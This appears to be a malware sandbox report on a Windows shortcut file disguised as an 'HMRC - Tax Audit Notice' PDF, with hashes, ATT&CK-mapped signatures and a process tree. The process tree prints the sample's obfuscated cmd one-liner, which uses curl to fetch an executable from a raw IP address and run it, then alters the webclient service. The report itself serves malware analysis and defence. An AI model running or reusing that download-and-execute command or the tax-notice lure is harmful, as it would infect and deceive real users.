471ef5621c68e9b770719bc96430c821d9438c6d88f71f0ae9bd680264b63443

Analysis

max time kernel
298s
max time network
283s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/07/2026, 03:47

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General

Target
Notice from Tax Departmen.pdf/HMRC - Tax Audit Notice.pdf.lnk
Size 2KB
Sample260729-ecep1av1ex
SHA256 471ef5621c68e9b770719bc96430c821d9438c6d88f71f0ae9bd680264b63443
MD5 2df9846d2a83e32f948b239770ab1416
SHA1 aef13c273ecc0334017ddee061085f47add014fd
SHA512 4c9c9c169c06f753682eddb50347f126bf9b059ba6e09a3746970a476010fe86af0956fb2b177bdaf872bdf3909470de1780173aa0f531263a24042806b9b3db
TLSH
T137416E2917EC5355E3B79E3698BAA3148A76B850ED33DB6D019056CC2860600FE32F2F
MD5 SHA1 SHA512 TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1788	cscript.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4100	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4232	cmd.exe
3392	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4232 wrote to memory of 3392	4232	cmd.exe	85
PID 3392 wrote to memory of 4416	3392	cmd.exe	86
PID 3392 wrote to memory of 4100	3392	cmd.exe	91
PID 3392 wrote to memory of 1788	3392	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Notice from Tax Departmen.pdf\HMRC - Tax Audit Notice.pdf.lnk"
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl.exe -o "C:\Users\ADMINI~1\AppData\Local\Temp\winrm.com" http://156.251.16.60/packed_Agent_001.exe && start "" "C:\Users\ADMINI~1\AppData\Local\Temp\winrm.com" && C:\Windows\system32\winrm.cmd & s^ta^rt sc config webclient start= demand & C:\Windows\system32\winrm.cmd
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\system32\curl.exe
    curl.exe -o "C:\Users\ADMINI~1\AppData\Local\Temp\winrm.com" http://156.251.16.60/packed_Agent_001.exe
    3⤵
    PID:4416
- - C:\Windows\system32\sc.exe
    sc config webclient start= demand
    3⤵
    - Launches sc.exe
    PID:4100
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Windows\System32\winrm.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:1788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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